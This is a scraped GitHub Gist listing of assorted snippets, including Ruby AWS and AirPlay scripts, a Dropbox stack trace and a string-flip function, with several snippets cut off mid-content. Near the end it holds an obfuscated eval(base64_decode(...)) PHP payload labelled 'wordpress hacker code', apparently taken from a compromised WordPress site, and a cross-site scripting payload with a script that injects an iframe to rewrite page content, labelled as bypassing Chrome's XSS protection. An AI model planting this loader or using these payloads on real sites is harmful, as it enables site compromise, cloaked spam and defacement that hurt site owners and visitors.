Skip to content

Instantly share code, notes, and snippets.

require 'faraday_middleware/aws_signers_v4'
transport_configuration = lambda do |f|
f.request :aws_signers_v4,
credentials: Aws::Credentials.new(ENV['AWS_ELASTICSEARCH_KEY'], ENV['AWS_ELASTICSEARCH_SECRET']),
service_name: 'es',
region: 'us-east-1'
f.response :logger
f.adapter Faraday.default_adapter
@vinhboy
vinhboy / javascript_caculator.html
Created September 1, 2015 07:32
A javascript calculator done the hardway
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="description" content="">
<meta name="keywords" content="">
<meta name="author" content="">
<title></title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<!--[if lt IE 9]>
/* http://coinrigs.com.au/blogs/news/8296951-undervolting-using-atiflash-sapphire-hd-7950-vaporx-msi-twinfrozr-7950 */
<div id="article-content">
<p><img alt="" src="//cdn.shopify.com/s/files/1/0238/4735/products/DSC_0973_grande.jpg?168"></p>
<p>We've previously made available some of the <a title="custom bios undervolt 7950 vaporx twinfrozr" href="http://coinrigs.com.au/blogs/news/8170111-custom-bios-for-msi-twinfrozr-7950-oc-sapphire-7950-vaporx" target="_blank">custom bios</a> we use in our coin mining rigs to undervolt to 0.962v, and have also posted a lot of information over at <a title="reddit litecoin mining" href="http://reddit.com/r/litecoinmining" target="_blank">reddit</a>, an awesome place :-)</p>
<p>A few people had trouble with our bios on their Sapphire HD 7950 VaporX cards, sent us their bios (saved using <a title="atiflash" href="http://cdn.shopify.com/s/files/1/0238/4735/files/atiflash?118" target="_blank">atiflash</a>) and we sent them a modified version which worked every time thus
@vinhboy
vinhboy / airplay.rb
Last active December 13, 2015 17:19
require 'net/http/persistent'
url = URI.parse('http://10.0.1.10:7000')
http = Net::HTTP::Persistent.new 'my_app'
post_uri = url + '/play'
post = Net::HTTP::Post.new post_uri.path
post["User-Agent"] = "iTunes/11.0.1 (Macintosh; OS X 10.7.5) AppleWebKit/534.57.7"
post.body = "Content-Location: http://trailers.apple.com/movies/marvel/ironman3/ironman3-tlr1-m4mb0_h1080p.mov\nStart-Position: 0\n"
response = http.request post_uri, post
while true do
get_uri = url + '/scrub'
@vinhboy
vinhboy / gist:3987925
Created October 31, 2012 16:07
dropbox-api crashes ruby
INTERNAL ERROR!!! Dropbox::API::Error::NotFound
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/dropbox-api-0.3.2/lib/dropbox-api/connection/requests.rb:19:in `request'
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/dropbox-api-0.3.2/lib/dropbox-api/connection/requests.rb:43:in `get'
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/dropbox-api-0.3.2/lib/dropbox-api/client/raw.rb:27:in `send'
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/dropbox-api-0.3.2/lib/dropbox-api/client/raw.rb:27:in `request'
(eval):3:in `metadata'
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/dropbox-api-0.3.2/lib/dropbox-api/client.rb:21:in `find'
/Users/root/test/app/controllers/test_controller.rb:467:in `send'
/Users/root/test/app/controllers/test_controller.rb:467:in `send'
/Users/root/.rvm/gems/ruby-1.8.7-p352/gems/actionpack-2.3.4/lib/action_controller/base.rb:1331:in `perform_action_without_filters'
def flip(input)
puts "What are we flipping? "
input = gets
input.chomp!
# the last letter position
length = input.length - 1
# the last letter position
length = input.length - 1
# the first letter
first = input[0]
# the lat letter
last = input[length]
# replace the first letter with the last
@vinhboy
vinhboy / wordpress_hack.php
Created December 1, 2011 18:12
wordpress hacker code
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUi
@vinhboy
vinhboy / script.js
Created November 16, 2011 18:54
bypass chrome xss protection
'"><img%20src=http://i.imgur.com/8Z5Pn.jpg><img%20src=x%20onerror=alert(String.fromCharCode(88,83,83))//
document.write('<style type="text/css">body{padding); margin:0}</style>');
document.write('<iframe id="iwonder_hack" src="http://' + location.host + '" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>');
setTimeout(function(){
document.getElementsByTagName('iframe')[0].contentWindow.document.getElementsByTagName('h1')[0].innerHTML = window.location.hash.substring(1).replace(/%20/g,' ')},800);